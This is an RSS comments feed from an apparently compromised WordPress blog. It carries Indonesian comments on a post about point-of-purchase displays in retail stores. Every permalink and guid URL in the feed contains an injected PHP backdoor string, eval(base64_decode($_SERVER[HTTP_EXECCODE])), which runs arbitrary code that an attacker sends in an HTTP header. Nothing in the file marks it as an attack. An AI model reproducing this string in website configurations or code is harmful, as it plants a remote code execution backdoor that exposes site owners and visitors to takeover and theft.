<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>
<channel>
	<title>Comments on: Too much POP?</title>
	<link>http://kurniawansantoso.com/2008/05/14/too-much-pop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
	<description>Its all about Key Account Management</description>
	<pubDate>Thu, 29 Jul 2010 23:08:51 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
		<item>
		<title>By: hanif</title>
		<link>http://kurniawansantoso.com/2008/05/14/too-much-pop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-39</link>
		<dc:creator>hanif</dc:creator>
		<pubDate>Mon, 29 Sep 2008 17:22:27 +0000</pubDate>
		<guid>http://kurniawansantoso.com/2008/05/14/too-much-pop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-39</guid>
		<description>anda salah pak, yang gambar no 5 itu buka pop. itu namanya selftalker, karena sarana promosi di ritel khususnya modern,POP itu lebuh identik darana promosi yang di dalamnya terdapat informasi harga(dalam bentuk apapun), yapi saya setuju pop tidak perlu terlalu banyak, yang penting menarik dan informatif, 

Mohon maaf bukan menggurui hanya share sedikit pengetehuan saja.

Wassalam

Hanif.,</description>
		<content:encoded><![CDATA[<p>anda salah pak, yang gambar no 5 itu buka pop. itu namanya selftalker, karena sarana promosi di ritel khususnya modern,POP itu lebuh identik darana promosi yang di dalamnya terdapat informasi harga(dalam bentuk apapun), yapi saya setuju pop tidak perlu terlalu banyak, yang penting menarik dan informatif, </p>
<p>Mohon maaf bukan menggurui hanya share sedikit pengetehuan saja.</p>
<p>Wassalam</p>
<p>Hanif.,</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Kurniawan Santoso</title>
		<link>http://kurniawansantoso.com/2008/05/14/too-much-pop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-36</link>
		<dc:creator>Kurniawan Santoso</dc:creator>
		<pubDate>Thu, 04 Sep 2008 12:40:56 +0000</pubDate>
		<guid>http://kurniawansantoso.com/2008/05/14/too-much-pop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-36</guid>
		<description>Pak Rudy, thanks commentnya.

Betul sekali pak, saya setuju dengan pemikiran Bapak yang "think globally, act locally". Adanya POP harusnya bertujuan untuk "memudahkan" konsumen menentukan pilihan, bukan sebaliknya.

Bagi kita yang bergerak di bidang Ritel, sebenarnya ada agenda "tersembunya", yaitu bagaimana kita highlight produk-produk yang memiliki margin tinggi, disamping menonjolkan produk yang sedang promosi. Dua arah pak, memuaskan supplier sekaligus meningkatkan keuntungan kita. 

Betul kan pak??

Salam,</description>
		<content:encoded><![CDATA[<p>Pak Rudy, thanks commentnya.</p>
<p>Betul sekali pak, saya setuju dengan pemikiran Bapak yang &#8220;think globally, act locally&#8221;. Adanya POP harusnya bertujuan untuk &#8220;memudahkan&#8221; konsumen menentukan pilihan, bukan sebaliknya.</p>
<p>Bagi kita yang bergerak di bidang Ritel, sebenarnya ada agenda &#8220;tersembunya&#8221;, yaitu bagaimana kita highlight produk-produk yang memiliki margin tinggi, disamping menonjolkan produk yang sedang promosi. Dua arah pak, memuaskan supplier sekaligus meningkatkan keuntungan kita. </p>
<p>Betul kan pak??</p>
<p>Salam,</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: rudy</title>
		<link>http://kurniawansantoso.com/2008/05/14/too-much-pop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-27</link>
		<dc:creator>rudy</dc:creator>
		<pubDate>Sun, 24 Aug 2008 05:55:05 +0000</pubDate>
		<guid>http://kurniawansantoso.com/2008/05/14/too-much-pop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-27</guid>
		<description>Dear Mas kurniawan,

Yah benar POP adalah sangat penting dan merupakan sarana komunikasi yang menjembatani  antara pihak retail dan customer.

Namun terkadang tidak kita sadari dengan banyaknya POP justru akan membuat ambigu dan kebingungan diantara customer, promosi menjadi tidak fokus dan akhirnya akan maerusak atribut toko sendiri, mau ke arah tematik promo kita, dan apakah sesuai dengan konsep awal bisnis retail kita?

Sebagai seorang yg berkerja di retail, saya juga sering memperhatikan bentuk2 komunikasi yg ada di toko. Sebenarnya konsep POP harus sederhana dan simple, tidak terlalu "ngejelimet", yg pada akhirnya akan memusingkan konsumen. Teradang kita tidak menyadari siapa si sasaran akhir konsumen kita, karakteristik nya bagaimana?... Pendidikan gimnana?... Sehingga Bahasa dalam komunikasi, bentuk, ukuran, dan estetika dalam menciptakan, sekaligus pengaplikasian POP di dalam toko sangat penting.

Saya rasa itu komentar dari saya.

Mohon maaf jika ada salah persepsi.

Terima kasih.

Rudy</description>
		<content:encoded><![CDATA[<p>Dear Mas kurniawan,</p>
<p>Yah benar POP adalah sangat penting dan merupakan sarana komunikasi yang menjembatani  antara pihak retail dan customer.</p>
<p>Namun terkadang tidak kita sadari dengan banyaknya POP justru akan membuat ambigu dan kebingungan diantara customer, promosi menjadi tidak fokus dan akhirnya akan maerusak atribut toko sendiri, mau ke arah tematik promo kita, dan apakah sesuai dengan konsep awal bisnis retail kita?</p>
<p>Sebagai seorang yg berkerja di retail, saya juga sering memperhatikan bentuk2 komunikasi yg ada di toko. Sebenarnya konsep POP harus sederhana dan simple, tidak terlalu &#8220;ngejelimet&#8221;, yg pada akhirnya akan memusingkan konsumen. Teradang kita tidak menyadari siapa si sasaran akhir konsumen kita, karakteristik nya bagaimana?&#8230; Pendidikan gimnana?&#8230; Sehingga Bahasa dalam komunikasi, bentuk, ukuran, dan estetika dalam menciptakan, sekaligus pengaplikasian POP di dalam toko sangat penting.</p>
<p>Saya rasa itu komentar dari saya.</p>
<p>Mohon maaf jika ada salah persepsi.</p>
<p>Terima kasih.</p>
<p>Rudy</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: jusman</title>
		<link>http://kurniawansantoso.com/2008/05/14/too-much-pop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23</link>
		<dc:creator>jusman</dc:creator>
		<pubDate>Wed, 21 May 2008 18:41:46 +0000</pubDate>
		<guid>http://kurniawansantoso.com/2008/05/14/too-much-pop/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-23</guid>
		<description>Wakakaka.... yang terlalu banyak kok ngambil dari Supermarket PAHLAWAN sih? Cuma pahlawan aja ya yang spt itu? Kurang koordinasi...</description>
		<content:encoded><![CDATA[<p>Wakakaka&#8230;. yang terlalu banyak kok ngambil dari Supermarket PAHLAWAN sih? Cuma pahlawan aja ya yang spt itu? Kurang koordinasi&#8230;</p>
]]></content:encoded>
	</item>
</channel>
</rss>
